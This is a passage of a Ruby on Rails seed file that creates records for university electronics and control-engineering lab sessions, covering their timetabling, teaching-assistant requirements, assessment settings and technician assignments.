Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 1)\n at313 = ActivityTimetable.where(activity_id: a313.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a313.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a313.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a313.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a313.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a313.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a314 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 5)\n at314 = ActivityTimetable.where(activity_id: a314.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a314.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a314.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a314.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a314.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a314.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a315 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at315 = ActivityTimetable.where(activity_id: a315.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a315.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a315.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a315.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a315.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a315.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a316 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at316 = ActivityTimetable.where(activity_id: a316.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a316.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a316.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a316.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a316.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a316.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a317 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at317 = ActivityTimetable.where(activity_id: a317.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a317.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a317.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a317.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a317.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a317.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a318 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at318 = ActivityTimetable.where(activity_id: a318.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"For direct entry 2nd year students only\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a318.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a318.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a318.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a318.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a318.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a319 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at319 = ActivityTimetable.where(activity_id: a319.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a319.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a319.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a319.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a319.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a319.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a320 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"138\").first_or_create!(name: \"Introduction to Arduino and IoT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at320 = ActivityTimetable.where(activity_id: a320.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a320.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a320.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\",\n job_desc:\"Assist students in constructing simple circuits on a breadboard with an Arduino controller. Help students to debug and troubleshoot their Arduino code.\n Help students working through a series of exercises to introduce the Arduino platform, leading to an open construction task at the end of the lab.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a320.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a320.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a320.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a321 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"139\").first_or_create!(name: \"Solar Energy\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at321 = ActivityTimetable.where(activity_id: a321.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a321.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a321.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must be familiar with solar cell operation (short circuit current/open circuit voltage/serial and parallel panels/bypass diodes)\n Must be competent with use of digital multimeter\",\n job_desc:\"Assist students in characterising individual solar cells (short circuit current/open circuit voltage/fill factor under LED, halogen and coloured filtered illumination sources).\n Assist students in combining individual cells into panels in series and parallel for further characterisation.\n Explain the need for practical considerations such as bypass diodes and demonstrate their necessity in partial shaded use of solar panels\n Help students construct a solar panel circuit to drive a motor and propeller\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a321.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a321.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a321.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a322 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"140\").first_or_create!(name: \"Building a Solar MPPT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at322 = ActivityTimetable.where(activity_id: a322.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a322.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a322.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\n Ideally familiar with solar maximum power point trackers and associated algorithms\",\n job_desc:\"Help students recall skills from prior labs (Arduino intro, and solar cell characterisation) to construct a maximum power point tracking system.\n Assist the students in writing Arduino code to monitor the voltage and current produced by a solar panel under a dynamic load.\n Help the students implement a maximum power point tracking algorithm by varying the panel load for maximum power output\n Troubleshoot both circuit hardware problems and issues with student code\n Help students test their hardware and software designs and suggest improvements\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a322.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a322.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a322.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a323 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"200\").first_or_create!(name: \"Analysis and Design of Feedback Control Systems\",\n name_abrv: \"AMR231TIMESERVO\", archived: false, in_drive: false, user_id: 3)\n at323 = ActivityTimetable.where(activity_id: a323.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a323.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a323.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a323.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a323.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a323.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a324 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"201\").first_or_create!(name: \"1st Semester Design Project\",\n name_abrv: \"ACS231 - Design Project 1\", archived: true, in_drive: false, user_id: 2)\n at324 = ActivityTimetable.where(activity_id: a324.id).first_or_create!(duration: 180, kit_prep_time: 90, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a324.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a324.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a324.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a324.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a325 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"202\").first_or_create!(name: \"Mechatronics Design Project\",\n name_abrv: \"ACS231 - Design Project 2\", archived: false, in_drive: false, user_id: 2)\n at325 = ActivityTimetable.where(activity_id: a325.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Equipment would need to be moved between labs\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a325.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a325.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a325.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a325.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a326 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"203\").first_or_create!(name: \"Basic Logic and Computer Based Decision Making\",\n name_abrv: \"Logic Lab\", archived: false, in_drive: false, user_id: 1)\n at326 = ActivityTimetable.where(activity_id: a326.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a326.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a326.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is an introduction into basic logic circuits, (AND, OR, etc and simple sequential circuits, SR latch) . This Lab will also link basic computer based decision making, (simple if and case statements).\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a326.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a326.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a327 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"204\").first_or_create!(name: \"Design and Build Project - Hardware\",\n name_abrv: \"ShaddowBots-Hard\", archived: false, in_drive: false, user_id: 4)\n at327 = ActivityTimetable.where(activity_id: a327.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a327.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a327.id).first_or_create!(criteria: \"Must have experience of programming microcontrollers devices with C, and a basic working knowledge of electronic circuit construction.\",\n job_desc:\"This is the 1st year group design project. The students will be initially make a strip board circuit, for a PIC micro controller, and mount this to a two wheeled robot. The robot will be programmed, on C, to drive towards a beacon and avoid obstacles in its path.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a327.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a327.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n\n\n a328 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS232\").first.id, code: \"205\").first_or_create!(name: \"Digital Sampling and Reconstruction of Signals\",\n name_abrv: \"SS-Sample\", archived: false, in_drive: false, user_id: 5)\n at328 = ActivityTimetable.where(activity_id: a328.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a328.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a328.id).first_or_create!(criteria: \"Must have an understanding of discrete signal sampling and reconstruction, and the mathematics used to describe these processes.\",\n job_desc:\"During this session, the students will investigate the effect that sampling of a continuous-time signal has on the resulting signal. Furthermore, they will investigate how filtering of the continuous time signal can overcome some of the issues associated with signal sampling and signal reconstruction.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a328.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a328.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n\n\n a329 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Domain Systems Laboratory\",\n name_abrv: \"DIS-SERVO\", archived: false, in_drive: false, user_id: 2)\n at329 = ActivityTimetable.where(activity_id: a329.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 144, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a329.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a329.id).first_or_create!(criteria: \"Understanding of physical systems modeling, the analysis of 1st and 2nd order systems, and z-domain control systems\",\n job_desc:\"This laboratory involves the analysis of control system behavior in the z-domain, when changing sample time and model characteristics\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a329.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a329.id).first_or_create!(cost_per_student: nil, equip_needed: \"Loads\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n\n\n a330 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"206\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 3)\n at330 = ActivityTimetable.where(activity_id: a330.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a330.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a330.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a330.id).first_or_create!(assess_weight: nil, notes: 